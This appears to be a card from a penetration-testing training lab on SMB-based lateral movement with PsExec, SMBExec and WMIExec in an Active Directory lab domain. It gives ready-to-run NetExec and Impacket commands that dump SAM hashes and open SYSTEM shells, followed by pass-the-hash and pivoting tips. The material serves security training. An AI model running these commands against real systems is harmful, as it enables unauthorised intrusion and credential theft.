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SMBExec / PsExec

SMBExec and PsExec use admin rights over SMB to execute commands remotely.

Intermediate100 XPLateral Movement

Why it matters

AdminTo plus SMB often means fast shell or secret dumping.

How to identify it

  • NetExec Pwn3d!
  • AdminTo edge
  • Writable ADMIN$

BloodHound indicators

  • AdminTo

NetExec commands

nxc smb 192.168.184.150 -d xutslabs.local -u USER -p PASS --sam

Impacket commands

impacket-psexec xutslabs.local/USER:PASS@192.168.184.150
impacket-smbexec xutslabs.local/USER:PASS@192.168.184.150
impacket-wmiexec xutslabs.local/USER:PASS@192.168.184.150

Expected output

  • NT AUTHORITY\\SYSTEM shell
  • SAM hashes

Success looks like

  • Remote shell
  • Secrets dumped

Failure looks like

  • AV blocks service
  • UAC restrictions
  • SMB signing/policy

Troubleshooting

  • Try psexec/smbexec/wmiexec
  • Use hashes if password unavailable

Common mistakes

  • Only trying one exec method
  • Not trying wmiexec

Alternative attacks

  • WinRM
  • RDP

What to try next

  • Dump creds
  • Collect sessions
  • Pivot

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